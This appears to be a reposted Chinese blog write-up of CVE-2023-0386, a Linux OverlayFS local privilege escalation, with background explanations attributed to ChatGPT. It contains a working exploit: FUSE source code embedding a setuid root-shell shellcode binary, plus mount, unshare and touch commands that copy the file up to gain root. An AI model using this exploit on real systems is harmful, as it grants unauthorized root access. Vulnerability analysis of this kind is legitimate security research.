[漏洞分析] 用chatGPT分析CVE-2023-0386 overlay内核提权

文章目录

    • 漏洞简介
    • 环境搭建
    • 漏洞原理
      • 补丁分析
      • 命名空间
        • 用户命名空间
      • overlay文件系统
        • 原理
        • 创建一个overlay文件系统
      • 漏洞触发逻辑
    • 漏洞利用
      • fuse文件系统
      • 漏洞利用
        • touch命令冷知识
        • exp
    • 总结
    • 参考

本文的理论知识(命名空间、overlay文件系统、fuse文件系统等)均来自chatGPT。

漏洞简介

漏洞编号: CVE-2023-0386

漏洞产品: linux kernel - overlay文件系统

影响范围: 5.11 ~ 5.19

利用条件: 可以unshar 或可以创建overlay文件系统

利用效果: 本地提权

环境搭建

自己编译内核:

准备漏洞版本范围内的,5.15版本之外的(5.15貌似有坑),开启overlay 和fuse 两个fs:

CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS

ubuntu 21.10 内核版本5.13.0-16-generic实测可以完成:

在这里插入图片描述

漏洞原理

在漏洞分析之前,我们先让chatGPT cosplay一下linux内核专家:

(询问chatGPT:下面你扮演一个linux内核专家,帮助我解答一些问题)

补丁分析

漏洞的公开信息比较少,比较直接的就是漏洞的补丁信息,补丁链接如下:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

在这里插入图片描述

可以看到是在ovl_copy_up_one函数中增加了一个判断,我们先问一下chatGPT,这个函数是做什么的:

在这里插入图片描述

所以这个函数是发生在,overlay文件系统的下层文件向上层拷贝的动作中,然后我们结合上下文来看这个补丁新加的判断:

static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,int flags)
{int err;DEFINE_DELAYED_CALL(done);struct path parentpath;struct ovl_copy_up_ctx ctx = {.parent = parent,.dentry = dentry,.workdir = ovl_workdir(dentry),};if (WARN_ON(!ctx.workdir))return -EROFS;ovl_path_lower(dentry, &ctx.lowerpath);err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的statSTATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);if (err)return err;//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||!kgid_has_mapping(current_user_ns(), ctx.stat.gid))return -EOVERFLOW;

[1] 首先通过vfs_getattr函数获取底层文件系统目标文件的属性。vfs_getattr函数获通过传入一个文件的struct path结构来获取这个文件对应的struct stat结构

​ [1.1] ctx.lowerpath为overlay文件系统中的下层文件系统的某文件路径,overlay文件系统会在后文介绍。

​ [1.2] struct stat结构存放文件的元数据信息,包括文件的属主属组等。而获取到的文件属主信息就会在下面补丁新加的判断中进行判断。

[2] 然后调用kuid_has_mapping函数对上面刚刚获取到的文件的属主信息和属组信息进行判断。判断目标文件属主和属组是否在当前用户命名空间中有映射。

​ [2.1] kuid_has_mapping函数传入两个参数,一个struct user_namespace用户命名空间结构体和一个struct kuid内核用户结构体,该函数会判断给定的用户信息是否在给定的用户命名空间中有映射,关于命名空间中用户的映射会在下文详细介绍。

所以我们知道,现在在进行该含有漏洞函数(ovl_copy_up_one)操作的时候,如果目标下层文件的属主用户或属组用户在当前命名空间中没有映射的话,就会失败。

那么补丁原理便清楚了,但即便如此,我们还需要解决下面问题,才可完成这个漏洞的复现:

  1. 如何触发目标函数ovl_copy_up_one所在的逻辑,即overlay文件系统中下层文件向上层拷贝?
  2. 判断属主是否被映射的文件lowerpath究竟在上面逻辑链中扮演什么角色?

那么在求解这两个疑问之前,我们需要搞清楚一些基本知识:

命名空间

(询问chatGPT:请介绍一下linux内核中的命名空间)

在Linux中,命名空间(namespaces)是一种内核特性,用于实现资源隔离。通过命名空间,可以使一组进程看起来好像它们在独立的系统环境中运行,从而提高系统的安全性和可管理性。命名空间在容器技术(如Docker)中起着关键作用,它们使得容器能够在隔离的环境中运行,而不会影响其他容器或主系统。

Linux内核支持7种命名空间(mount、pid、net、ipc、user、time、cgroup),每种命名空间都隔离了一类特定的系统资源。命名空间通过一系列系统调用(如clone、**unshare**和setns)进行创建、修改和管理。容器运行时(如Docker)和其他虚拟化工具会利用这些命名空间特性,为容器提供独立、隔离的运行环境。

用户命名空间

其中漏洞补丁新增的判断函数kuid_has_mapping涉及的是上述7个命名空间中的用户命名空间(user namespace)

(询问chatGPT:请介绍一下这其中的用户命名空间)

用户命名空间(User Namespace)用于隔离用户ID(UID)和组ID(GID)。通过用户命名空间,可以在不同命名空间中使用独立的用户和组ID集合。这意味着,在一个用户命名空间中的用户和组可能在另一个命名空间中具有不同的ID或权限。用户命名空间可以提高系统的安全性和可管理性,尤其在容器化环境中。

用户命名空间的关键特性就是ID映射:用户命名空间允许将一个命名空间中的UID和GID映射到另一个命名空间中的UID和GID。这意味着,在不同的用户命名空间中,相同的UID和GID可能代表不同的用户和组。例如,一个容器中的root用户(UID 0)可能在主系统中被映射为一个非特权用户。

我们只需要记住以下几点:

  • 同一个用户(组),在不同用户命名空间中的uid(gid)不同
  • 创建新用户命名空间(做这个创建动作)的用户在新用户命名空间中是root
  • 其他用户需要手动映射到新用户空间(修改/proc/[pid]/uid_map;/proc/[pid]/gid_map),这个操作通常需要有初始命名空间中的root权限
  • 没有映射的用户会被识别为nobody

如,我使用breeze用户创建一个新的用户命名空间,然后我再该用户命名空间中查看root属主的文件,显示属组为nobody:

在这里插入图片描述

这是因为在新命名空间中,root用户是创建该命名空间的breeze用户,而初始命名空间中的root并没有被我手动映射到新命名空间中,所以在新命名空间中被识别为nobody。

所以到这里我们就知道这个补丁的意义了:**对于拷贝的目标overlay 下层文件系统的文件,必须其属主(组)用户(组)在当前命名空间中有映射,才会继续下面的拷贝动作,否则返回错误。**也就是说这种被识别为nobody的情况就会造成拷贝失败。

overlay文件系统

原理

(询问chatGPT:请介绍一下linux中的overlay文件系统)

Overlay 文件系统(又称为 OverlayFS)是一个 Linux 内核的虚拟文件系统。它允许将两个或多个已存在的目录层次结构(称为“lower”和“upper”层)合并成一个统一的视图。Overlay 文件系统在只读文件系统(如镜像)上实现写入操作的能力时非常有用,因为它可以将写操作重定向到一个叠加的可写层。这种方法在容器技术(如 Docker)中得到广泛应用,因为它提供了一种轻量级、高性能的文件系统虚拟化方案。

  1. Lower 层:这是基础文件系统层,通常是只读的。一个 Overlay 文件系统可以有一个或多个 lower 层。
  2. Upper 层:这是一个可写的文件系统层,它存储所有对 lower 层文件的更改。这包括文件修改、创建和删除操作。
  3. Workdir:这是一个与 upper 层在同一文件系统中的可写目录,用于存储一些中间数据和元数据,以支持 OverlayFS 的正常运行。
  4. Merged 层:这是一个虚拟的、合成的视图,它将 lower 层和 upper 层合并在一起。当用户访问 Overlay 文件系统时,他们看到的是这个 merged 层。在这个层中,来自 upper 层的更改会覆盖 lower 层的相应文件。对于同名文件,upper 层中的文件优先级更高。对于同名目录,则合并,只判断目录中的文件是否有上下层覆盖屏蔽关系。

可以用下图理解某个overlay文件系统目录的实际上下层文件对应merge层文件的效果:

在这里插入图片描述

由于上层文件系统是可写的,所以用户修改来自上层的文件时则直接修改。但如果用户想要修改下层文件系统中的文件,如上图中的file D,由于下层文件系统是只读的,则会将file D拷贝(copy up)到上层变成file D‘然后再进行修改操作,实际修改的是拷贝到上层的file D’,而下层文件系统中的file D本身不会被改变,这也是overlay文件系统中的COW(copy on write 写时复制):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c9VpDWky-1683354106054)(wp.assets/image-20230504103155100.png)]

创建一个overlay文件系统

(询问chatGPT:请给我一个创建一个简单overlay文件系统的实际操作的例子)

我们通过如下方法简单演示一下如何创建一个overlay文件系统:

首先,我们需要创建 lower1、lower2、upper 和 work 目录。这些目录将用于 Overlay 文件系统。同时,我们还需要创建一个挂载点(例如,merged)来访问合并后的视图。并向 lower1 和 lower2 目录中添加一些内容:

mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt

使用 mount 命令和 -t overlay 选项来挂载 Overlay 文件系统。您需要指定 lowerdir、upperdir 和 workdir 参数,如下所示:

mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged

可以在merge目录中看到来自上下层文件系统的文件:

在这里插入图片描述

我们在这个目录中无论是创建新文件、删除文件、修改文件,都只会改变上层文件系统,对下层不影响,如创建一个新文件(实际创建在了upper中):

在这里插入图片描述

修改现有文件(将文件从lower1中拷贝到upper然后修改):

在这里插入图片描述

总结一下,跟漏洞相关的逻辑就是,当我们修改一个overlay文件系统中的来自下层的文件的时候,会先将这个文件拷贝到上层文件系统,然后进行修改动作。

漏洞触发逻辑

经过上面的分析,我们基本可以复原出漏洞的全貌,如果一个overlay文件系统发生了copy up操作(尝试修改下层文件,触发下层文件向上层拷贝)的时候:

  • 补丁的逻辑:我们不能拷贝还没有在当前用户命名空间映射的用户(组)属主(组)的文件
  • 漏洞的逻辑:所有文件都可以正常拷贝,包括没有在当前用户命名空间中映射的用户属主文件。

那么问题就是,为什么拷贝没有映射的用户属主的文件就会造成问题呢?

漏洞利用

其实上面问题的答案很简单,拷贝文件并不只是拷贝文件的内容,包括文件的元数据,也就是文件的属主信息、时间戳、权限信息、还有扩展信息如capbilities等都会一起拷贝过来。引发的风险就是,如果下层文件系统是一个用户文件系统(如fuse),用户高度可控,可以自定义任何文件,但该文件系统存在限制(如nosuid),那么本漏洞就允许将下层用户自定义的suid文件从一个nosuid 文件系统拷贝到一个正常文件系统中,导致非法的suid文件获得suid特权。进而造成提权。

fuse文件系统

(询问chatGPT:请介绍一下fuse文件系统)

FUSE(Filesystem in Userspace)是一种文件系统接口,允许用户在用户空间(而非内核空间)实现和运行自定义的文件系统。FUSE 设计的目的是简化文件系统的开发和部署,同时提供良好的性能和安全性。FUSE 在 Linux 和其他类 Unix 系统(如 macOS 和 FreeBSD)上广泛使用。

其实简单的来说就是,fuse文件系统允许我们自己在用户层定义文件系统的一些回调函数(如open、write、readdir、甚至是getattr等文件元数据信息)。

下面的fuse文件系统代码(by chatGPT)既可以作为一个例子来学习,也可以用于后续的漏洞利用:

(询问chatGPT:请给我一个fuse文件系统的简单代码示例,这个文件系统中有一个hello文件,文件内容是一个"helloworld"字符串,并且这个文件是一个root属主的setuid文件)

经过简单修改(修改文件内容为后门二进制数据,修改一些文件权限设置,文件大小等):

#define FUSE_USE_VERSION 30#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{int res = 0;memset(stbuf, 0, sizeof(struct stat));if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755stbuf->st_mode = S_IFDIR | 0755;stbuf->st_nlink = 2;} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUIDstbuf->st_mode = S_IFREG | S_ISUID | 0777;stbuf->st_nlink = 1;stbuf->st_size = sizeof(hello_str); //hello文件实际大小} else {res = -ENOENT;}return res;
}static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{(void) offset;(void) fi;if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录return -ENOENT;}filler(buf, ".", NULL, 0);//默认显示.和..filler(buf, "..", NULL, 0);filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件return 0;
}static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{if (strcmp(path, hello_path) != 0) {//只支持打开hello文件return -ENOENT;}return 0;
}static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,struct fuse_file_info *fi)//读文件的回调函数read
{size_t len;(void) fi;if(strcmp(path, hello_path) != 0) {//只支持读hello文件return -ENOENT;}len = sizeof(hello_str);if (offset < len) {if (offset + size > len) {size = len - offset;}memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组} else {size = 0;}return size;
}static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了.getattr = hellofs_getattr,.readdir = hellofs_readdir,.open = hellofs_open,.read = hellofs_read,
};int main(int argc, char *argv[])
{return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}

上述代码创建了一个fuse文件系统,但里面只有一个文件hello,其内容是一段二进制后门程序,并且它的权限是root属主的setuid文件。一共只实现了四个回调函数,只能用于最基本的查看和打开和读取hello文件。我们可以通过如下命令编译和挂载fuse文件系统:

gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs

然后可以在fusefs目录中看到我们的hello文件,是一个root属主的suid文件:

在这里插入图片描述

**但是普通用户无法开启suid挂载fuse文件系统,也就是说普通用户挂载的fuse文件系统都是nosuid的。**所以现在即便执行这个suid 的后门文件,我们也无法获得root的权限:

在这里插入图片描述

漏洞利用

接下来我们用CVE-2023-0386漏洞和上述fuse文件系统来完成提权操作。

  1. 首先我们需要根据漏洞场景构造出一个overlay文件系统,使用fuse文件系统作为下层文件系统,找一个我们可写的目录作为上层文件系统,先创建出workdir等overlay相关目录,并挂载fuse文件系统

    mkdir hello_mount_point  overlay_mount_point  upperdir  workdir #创建相关目录
    ./hellofs hello_mount_point                                     #挂载fuse文件系统
    

    在这里插入图片描述

  2. 然后创建一个新的用户命名空间和mount命名空间还有pid命名空间,因为我们接下来需要创建overlay文件系统,默认情况下我们没有mount权限,所以需要在新的命名空间中获得mount的权限。

    unshare -Urm
    

    在这里插入图片描述

  3. 创建overlay文件系统,使用上面的携带suid后门文件hello的fuse文件系统作为下层,上层就是我们可写的upper目录:

    mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point
    

    在这里插入图片描述

    overlay当前效果如下图

    在这里插入图片描述

现在我们的目标就是利用漏洞,将suid后门文件从nosuid挂载的fuse文件系统中拷贝到upper文件系统中,upper文件系统是操作系统的默认文件系统,是有suid的,这个操作会将后门文件连同他的suid属性一并拷贝过来。所以我们目前需要触发overlay文件系统的copy up操作,该操作通常是在我们尝试修改下层文件时触发的,这也是我们在fuse文件系统中将hello文件权限设置为777的原因。

touch命令冷知识

其实修改文件并不只是指修改文件内容,对于文件的其他属性的修改,比如文件时间戳等,也会触发copy up操作。而touch 命令在尝试创建一个已经存在的文件的时候不会覆盖已经存在的文件,而是只修改文件的访问时间和修改时间的时间戳,而时间戳信息也算文件的attr扩展信息,该信息被修改同样会触发overlay文件系统的向上拷贝。

调用栈如下,由于修改了文件的访问和修改时间戳,在ovl_setattr中触发了向上拷贝copy up:

在这里插入图片描述

  1. 所以回到上面的操作步骤之中,我们只需要进入overlay文件系统的merge目录,使用touch修改后门文件hello的时间戳即可:

    touch overlay_mount_point/hello
    

在这里插入图片描述

然后这里已经触发了copy up:

在这里插入图片描述

我们查看上层目录即upper目录:

ls -al upperdir

在这里插入图片描述

然后退出命名空间执行upperdir/hello即可获得root shell:

在这里插入图片描述

exp

将上述操作自动化成exp代码请见:

chenaotian/CVE-2023-0386

编译与执行:

gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

总结

所以这个补丁的意义在于,如果像我们这样操作来提权的话,那么初始命名空间中的root用户必然在新用户命名空间中没有得到映射(我们也没办法映射,因为这需要特权),那么操作就会失败。而如果这个用户已经在新用户命名空间中得到映射,则认为是合法的场景。

参考

chatGPT

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/4355.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT 爆出超级漏洞,能看别人支付记录和聊天内容,OpenAI 公布技术细节

公众号关注 「奇妙的 Linux 世界」 设为「星标」&#xff0c;每天带你玩转 Linux &#xff01; ​ 原来&#xff0c;是缓存问题导致了 ChatGPT 的宕机。 本周早些时候&#xff0c;ChatGPT 宕机数小时。 现在&#xff0c;OpenAI 声明 ChatGPT 的暂时下线是因为开源库中的一个错误…

ChatGPT可能正在存在被多处利用漏洞攻击隐患

尽管ChatGPT聊天非常有趣味性、可扩展、可开发性、一种可以超越人类能力理解的能力&#xff0c;最后还是会出现一些潜在威胁 可以通过多种聊天测试发现ChatGPT AI会教会你如何编写代码&#xff0c;包括C\C\Python\JAVA\GO语言&#xff0c;易语言等多种语言、解题数学英语语文化…

ChatGPT 出现严重技术漏洞,“当红炸子鸡”翻车了?

ChatGPT翻车了吗&#xff1f; 最近爆火的ChatGPT出现了严重技术漏洞&#xff0c;用户在社交媒体上表示看到了其他人的历史搜索记录标题。 一名推特用户21日发文称&#xff0c;“如果你使用ChatGPT请小心&#xff01;你的聊天记录可能会被分享给其他用户&#xff01;今天&#…

“我用 ChatGPT 造了一个零日漏洞,成功逃脱了 69 家安全机构的检测!”

一周以前&#xff0c;图灵奖得主 Yoshua Bengio、伯克利计算机科学教授 Stuart Russell、特斯拉 CEO 埃隆马斯克、苹果联合创始人 Steve Wozniak 等在内的数千名 AI 学者、企业家联名发起一则公开信&#xff0c;建议全球 AI 实验室立即停止训练比 GPT-4 更强大的模型&#xff0…

我使用 ChatGPT 审计代码发现了 200 多个安全漏洞( GPT-4 与 GPT-3 对比报告)

作者 | 安全女巫 责编 | 王子彧 前面使用 GPT-4 对部分代码进行漏洞审计&#xff0c;后面使用 GPT-3 对 git 存储库进行对比。最终结果仅供大家在 chatgpt 在对各类代码分析能力参考&#xff0c;其中存在误报问题&#xff0c;不排除因本人训练模型存在问题导致&#xff0c;欢迎…

ChatGPT明知自己写代码有漏洞,但你不问它就不说

萧箫 发自 凹非寺量子位 | 公众号 QbitAI ChatGPT知道自己写的代码有漏洞&#xff0c;但它不说&#xff01; 来自加拿大的一项最新研究发现&#xff0c;ChatGPT生成的代码中&#xff0c;有不少都存在安全漏洞。 然而在被要求评估自己代码的安全性时&#xff0c;ChatGPT却很快发…

ChatGPT超级巨大漏洞,能看别人支付聊天内容,OpenAI公布技术细节

来源丨 机器之心 编辑丨杜伟、小舟 点击进入—>3D视觉工坊学习交流群 原来&#xff0c;是缓存问题导致了 ChatGPT 的宕机。 本周早些时候&#xff0c;ChatGPT 宕机数小时。 现在&#xff0c;OpenAI 声明 ChatGPT 的暂时下线是因为开源库中的一个错误&#xff0c;该错误让一些…

ChatGPT写POC,拿下漏洞!

001 前言 ChatGPT&#xff08;Chat Generative Pre-trained Transformer&#xff09;是当今备受瞩目的智能AI聊天机器人之一。它不仅能够实现基本的语言交流&#xff0c;还具备许多强大的功能&#xff0c;例如文章撰写、代码脚本编写、翻译等等。那么我们是否可以利用 ChatGpt…

ChatGPT从入门到精通,了解ChatGPT

ChatGPT从入门到精通&#xff0c;一站式掌握办公自动化/爬虫/数据分析和可视化图表制作 全面AI时代就在转角 道路已经铺好了 “局外人”or“先行者” 就在此刻 等你决定 1、ChatGPT从入门到精通&#xff0c;一站式掌握办公自动化/爬虫/数据分析和可视( 点击观看完整版本 ) 。…

ChatGPT 又大面积封号了...

ChatGPT 大面积封号 ing... ChatGPT 又双叒开始大面积封号了... 从昨天开始&#xff0c;许多童鞋纷纷表示&#xff0c;自己的 ChatGPT plus 账号被封了。 许多人收到了一封来自 OpenAI 的邮件&#xff0c;文中称由于账号存在可疑行为&#xff0c;为了保障平台安全&#xff0…

拯救全网的Chatgpt解封攻略(盗版必究)

登陆提示被封 大陆网友起床第一件事就是看到如下这张图&#xff0c;不管你是普通账号还是plus账号&#xff0c;都会面临被封的风险&#xff0c;大家不要慌&#xff0c;下面狗哥紧急启动了一个解封攻略&#xff0c;送上保姆级的解封教程&#xff0c;帮助大家快速解封。 准备一封…

ChatGPT 又开始大规模封号了...

今天中午&#xff0c;很多朋友都跟我反馈&#xff0c;收到了来自 OpenAI 的一封邮件&#xff1a; 邮件大意是&#xff0c;OpenAI 发现了你的 ChatGPT 账号存在可疑活动&#xff0c;为了保障平台安全&#xff0c;已自动退款并取消你的 ChatGPT Plus 订阅&#xff0c;账号无法再使…

ChatGPT又双叒大面积封号了...

来源&#xff1a;新智元 ChatGPT又双叒开始大面积封号了... 从昨天开始&#xff0c;许多童鞋纷纷表示&#xff0c;自己的ChatGPT plus账号被封了。 许多人收到了一封来自OpenAI的邮件&#xff0c;文中称由于账号存在可疑行为&#xff0c;为了保障平台安全&#xff0c;才这么做。…

ChatGPT大规模封号...

&#x1f447;&#x1f447;关注后回复 “进群” &#xff0c;拉你进程序员交流群&#x1f447;&#x1f447; 最近各个ChatGPT&AI群都在传一个消息&#xff1a;ChatGPT官方大面积封号&#xff0c;登录gpt千万别用亚洲节点&#xff01; 过了会很多人开始发自己的帐号被封了…

ChatGPT 被大面积封号,到底发生什么了?

意大利数据保护机表示 OpenAI 公司不但非法收集大量意大利用户个人数据&#xff0c;没有设立检查 ChatGPT 用户年龄的机制。 ChatGPT 似乎正在遭遇一场滑铁卢。 3月31日&#xff0c; 大量用户在社交平台吐槽&#xff0c;自己花钱开通的 ChatGPT 账户已经无法登录&#xff0c;更…

唯一客服系统(独立部署无限多开)-知识库ChatGPT-支持微信公众号小程序-钉钉-PC和H5全渠道客服系统...

产品介绍 唯一客服系统是基于Golang语言自主开发的在线客服系统。创立于2019年初&#xff0c;是一款连接企业与客户的即时通讯项目&#xff0c;遵循快速、简洁的开发原则&#xff0c;是为中小企业量身定制的全渠道客服系统&#xff0c;致力于帮助广大开发者/公司快速部署整合私…

爬虫?不是,mitmproxy帮你采集微信公众号留言

前言 有位朋友需要收集公司微信公众号的文章的留言&#xff0c;但苦于微信公众平台没有提供留言的API&#xff0c;所以朋友需要在每一篇文章下面去手动复制粘贴&#xff0c;朋友觉得很麻烦&#xff0c;于是来找到我&#xff01;遂有此文。 下一篇&#xff0c;将结合uiautomatio…

你应该知道的——微信公众号配上机器人回复(微信对话开放平台)

前言 今天看了好多文章都是接入ChatGPT来作为微信公众号的机器人回复&#xff0c;弄了半天还没注册成功&#xff0c;于是搜了搜微信公众号机器人&#xff0c;发现了微信公众号配备了机器人&#xff01; 虽然没有ChatGPT高级&#xff0c;但是自己玩玩还是挺好的&#xff0c;主…

从 0 开始最详细的微信公众号接入 AI

从 0 开始最详细的微信公众号接入 AI 文章目录 从 0 开始最详细的微信公众号接入 AI写在前面注册公众号克隆到服务器使用过微信机器人项目未使用过微信机器人项目 更改配置文件启动项目更换机器人接口写在最后 大家也可以浏览我其他的博客&#xff1a; 从 0 开始最详细的 Chat…

微信公众号、支付接口认证:一步步教您如何实现

1、微信公众号接口认证方案 1.1 认证流程 1&#xff09;官方配置Token验证 Token不在网络中传递 2&#xff09;开发一个Token验证接口 Token及其它参数拼接并字典排序再做sha摘要计算微信定期调用此接口来验证身份正确性通过摘要验证判断请求来源微信&#xff08;Token配置…